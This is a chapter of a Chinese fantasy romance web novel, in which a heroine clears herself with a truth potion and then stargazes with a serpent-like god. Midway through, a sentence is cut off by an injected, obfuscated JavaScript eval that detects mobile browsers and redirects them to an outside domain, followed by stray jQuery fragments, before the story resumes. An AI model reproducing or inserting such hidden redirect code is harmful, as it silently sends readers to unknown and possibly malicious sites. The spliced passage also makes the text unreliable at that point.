20. 第 20 章

作品:《偏执邪神他又发疯了

    “既然薇薇安小姐坚称是我推的你,不妨我们各自喝一杯真话酒,再向主教大人交代吧。”


    薇薇安唇褪尽血色,面庞苍白如纸,求助似地望向菲利普王子。


    菲利普也觉得桑黎太多咄咄逼人了。


    “格莱斯顿小姐,这么对待自己的妹妹,你的良心难道不会感到煎熬吗?”


    桑黎笑了,“我怎么对待她了?一杯酒而已,真话酒都不敢喝,又怎么证实她所说的是真的?”


    菲利普不赞同,“你竟然认为自己的妹妹会污蔑你。”


    话不投机半句多,桑黎望向大主教,“主教大人,希望您能给我一次自证清白的机会。”


    “当然,我想神也不会愿看到无辜的人蒙受冤枉。”


    红衣主教点头,吩咐人去取真话酒分给她们。


    接过酒,桑黎毫无犹豫地饮完,“光明神在上,我从未害过薇薇安·格莱斯顿,也没有推她。我看她一个人跑出舞池,担心她才跟上来,没想到我的妹妹会如此奋不顾身往湖里跳,还喊着是我推了她。如果我所言为虚,我愿被烈火活活烧死。”


    话落,握住她的那只冰冷的手加重的力道。


    桑黎身体一直软绵绵的,使不出什么劲来,倚靠在赫尔曼怀里,察觉到男人的不悦,她轻轻地安抚性晃了晃手。


    而后右边眉毛微微一挑,目光落在薇薇安身上。


    “该你了,薇薇安·格莱斯顿小姐。”


    薇薇安神色僵硬地握紧酒杯,她不能喝,喝了岂不是全暴露了。


    一时间心乱如麻,朝亚当看去,可少年只是淡淡地瞥了她一眼,并没有为她说话的打算。


    薇薇安索性丢开酒杯,掩面痛哭,避重就轻哭诉:


    “对不起姐姐,我只是太嫉妒你了,我真不知该如何是好,都是我的错,所有人都爱你喜欢你,伯特伦小姐是你的朋友,摩西先生对你有好感,大家都喜欢阿黛尔小姐……呜呜呜,我不该奢望有人能给我爱。”


    她哭得梨花带雨,即便是心肠再硬的人也会忍不住原谅她。


    人们纷纷劝桑黎不要怪薇薇安,可怜的姑娘不过是因为缺爱被嫉妒所蒙蔽了双眼。


    菲利普更是不顾未婚妻失望又愤怒的目光,不断替薇薇安找补。


    只可惜,桑黎的心是铁做的,对于人们的反应,只觉得无比惊奇。


    一时间,她不知道是该羡慕光环还是该感到恐惧,污蔑也好,巨龙也罢,在这群人眼中仿佛都不算什么。


    太可笑了,可笑到让她想掀开他们的头盖骨,看看里面究竟是不是豆腐脑。


    桑黎忽然累了,从头到脚的累,不想解释,不想争辩。


    低冷的嗓音冷不丁响起:


    “所以薇薇安·格莱斯顿小姐认为一句对不起就可以弥补阿黛尔被污蔑,甚至差点溺死了吗?”


    “还是说,你觉得她的性命与名誉在你眼里只值得一句轻飘飘且言不由衷的道歉?”


    众人纷纷看向佩戴纯黑面具的男人,他语调慢条斯理,又优雅动听,令人不免好奇他的身份。


    他目光森冷,落到薇薇安身上时,薇薇安甚至没有勇气抬头,忘记了哭泣,浑身上下只有恐惧。


    男人忽然笑了,短促且讥讽,“如果不是被逼无奈,一定要喝下真话酒,你会道歉吗?会解释吗?”


    薇薇安被怼得哑口无言。


    桑黎抬头看向他,心中五味杂陈,从原本的茫然到又仿佛找到了支点。


    初到这个世界,她感受过许多不同的恶意,但刚来的时候,她总觉得自己与这里隔着一层看不见,摸不着的膜,哪怕碰到格莱斯顿伯爵、利奥,又或是在她背后嚼舌根的长舌妇,也没让她产生过真切的实感,恐惧之余,更令她无法融入这个世界。


    可渐渐,有了朋友,有了自己要做的事情,她终于对这个陌生世界有了实感,仿佛第一次发现这个世界是真实存在的。


    她天真的以为,自己能安稳的在这里生活下去。


    而薇薇安的恶意,无疑是给她的天真,重重扇了一耳光,脸颊火辣辣刺痛。


    桑黎从未想过赫尔曼会替她说话。


    他向来惜字如金,可却一口气说了这么多。


    本来没什么,听见他的话,心中竟涌起酸涩的委屈,以及一股怪异的安心。


    ……


    红衣大主教了解完事情经过,沉着脸疏散了人群,舞会提前结束。


    考虑到两人溺了水,主教先让她们回去休息。


    赫尔曼抱着桑黎,一只手托着她的腿弯,踩着月光朝女生宿舍走去。


    裙子早被赫尔曼烘干了,夏夜闷热,桑黎不断朝他怀里缩。


    她踌躇片刻,终于问出了心中的不安。


    “你会不会被他们发现啊?”


    当初亚当可是一眼就看出赫尔曼是灵魂。


    赫尔曼淡淡道:“不会,虽然在虚弱期,但我也恢复了不少力量,隐蔽气息不是难事。”


    这下,桑黎一颗心终于落了地,甚至起了开玩笑的心思。


    “是不是因为我的血?”


    “嗯。”


    又是一长段沉默。


    直到赫尔曼冷硬的声音再度响起:“为什么要拿自己的生命做赌注发誓。”


    桑黎脸闷在男人坚硬的怀里,喷吐着热气。


    “誓言都是假的,又不会实现,况且我说的是实话,即便真有天罚,也罚不到我身上。”


    她不安分地动了动,伸手勾住男人的脖颈,将脸埋在他怀里,忽然很不想回去。


    回去之后,他是不是又要缩回项链里了?


    她想让他多陪她一会。


    她望着未经工业污染的天空,指了一个方向,“我去那,我们去看星星好不好?”


    “好。”


    往常观星楼内挤满了情侣,也许是因为面具舞会,今天异常空荡。


    浩瀚星图一览无余,明月皎洁,繁星灿烂,犹如贵族小姐不小心洒落一地的宝石。


    桑黎脑袋枕着赫尔曼的肩膀,伸出一条手臂,努力想触及那片星海。


    “你喜欢星星?”赫尔曼问。


    闻言,桑黎扭过头,目不转睛注视着他,笑了,“喜欢呀。”


    赫尔曼喉结滚了滚,正要挪开视线,却被少女托住了下颌。


    桑黎轻轻地替他取下了面具。


    男人冷峻的面庞上覆盖着一层黑色的鳞片,映着月光,绚丽而魅惑。


    “大人今天是特地来找我跳舞的吗?”


    “不是。”


    赫尔曼眉峰蹙起,想推开她的手,可不知想到什么,任由桑黎的手缓缓触碰他眼下、面颊,衣领里的鳞片。


    越是小心翼翼,越是瘙痒难忍。


    他的呼吸越来越沉重,终于没忍住,一把攥住她不安分的手,嗓音沙哑:“不要胡闹。”


    桑黎哼哼,只当他是嘴硬,“那是因为什么?”


    她不信他就那么凑巧出现。


    “我感应到神体在那附近。”


    赫尔曼说谎了,找神体没必要非要今晚。


    真正驱动他出现的,连他自己也说不清。


    可能是不希


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416283|183769||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    望桑黎和亚当跳舞,也可能是那晚她说“因为他不会推开我”。


    他恼怒任何人都能邀请她跳舞,厌恶亚当那不算干净的视线在她身上逡巡,更无法理解她对薇薇安的仁慈。


    当她同意和他跳舞,赫尔曼无法分辨自己究竟是何种情绪,他厌恶这个被同意和她跳舞的“陌生人”,哪怕清楚知道是他自己,可还是遏制不住怒火。


    是因为虚弱期吗?


    她让他站在那里等她,他竟也一直站在原地等她回来,可等到的却是她的性命垂危。


    他想压住她,吞掉她,让她再也无法让自己又一次陷入危机,陷入别人的视线,可看到她脆弱的模样,他竟又一次心软。


    “神体?”桑黎笑容僵硬在脸上,抽出手,缓慢地眨了眨眼,“原来是为了这个啊。”


    “怎么了?”赫尔曼看着空了的手,皱了皱眉。


    “没事。”桑黎很快收拾好了心情,遥望漫天繁星,“我想到小时候看过的一篇故事。”


    “什么故事。”


    “一个无聊的故事——”桑黎心扑腾一跳,摸上悄无声息缠上她脚踝,并且朝上挪动的尾巴尖,她对上男人由黑转红的眼眸,“你……”


    她知道他脆弱期,无法控制,坏心思顿起,白皙的手指轻轻抚摸尾巴,“大人的原形是什么呀?”


    赫尔曼呼吸隐隐不稳,赤红着竖成麦芒的眼眸,猛地按住那只手,然而尾巴却背叛的他,委屈地蹭上少女的大腿。


    桑黎却猜到了,兴奋问道:“……是蛇对不对?”


    桑黎不怕蛇,小时候家里进蛇了,生猛得徒手捉蛇,也幸好那蛇没毒。


    “……”


    赫尔曼顿了顿,“故事是什么?”


    怎么还想着故事,她不过是随口一说。


    桑黎想了想,索性以故事的形式说起了自己的上辈子。


    “很久很久以前,在遥远的东方国度,有个女孩,爹不疼妈不爱,还差点被卖掉,不过后来她遇到了一个神仙教父,资助她……”


    她猛地住了口。


    腿间那光滑又冰冷的活物还在不断上挪,不安分在她腿上缠了一圈又一圈,想忽视都难。


    桑黎耳尖微微泛红,强硬掰开蛇尾。


    果不其然看到了一圈圈被勒红的痕迹,不轻不重弹了下尾巴尖。


    “坏东西。”


    她并没注意到黑暗中那双红眸紧缩成了针尖,极具侵略性地盯着她,仿佛下秒就要将她生吞活剥。


    桑黎清了清嗓子,“女孩很想见她的神仙教父,可她一直没能见到……”


    她从未见过自己的资助人。


    从初中开始,父母便不太愿意让她上学了,幸运的是,老师突然联系她说有个慈善家愿意资助她从初中上到大学。


    上学期间,她一直给他写信,却没有被回过一封。


    毕业后她也赚到了些钱,打算把上学的那些钱还回去,写信称想见一面,对方终于回复了,同意见上一面。


    而她穿越前,正是和小黑子互骂的那晚,天一亮就是她和资助人见面的日子。


    然而事与愿违,她还是没能见上资助人一面。


    赫尔曼认真听着,可等了许久,桑黎却没再说话,他侧头看去。


    她不知什么时候睡着了,睡得香甜,脑袋倚靠在他的肩膀,手还紧紧攥着他的尾巴尖,而白皙的大腿上还有被他勒出的一圈圈红色烫眼的痕迹。


    赫尔曼呼吸一滞,竭力挪开视线,一把横抱起少女,瞬息回到宿舍房间,将她放回到床上。


    “晚安。”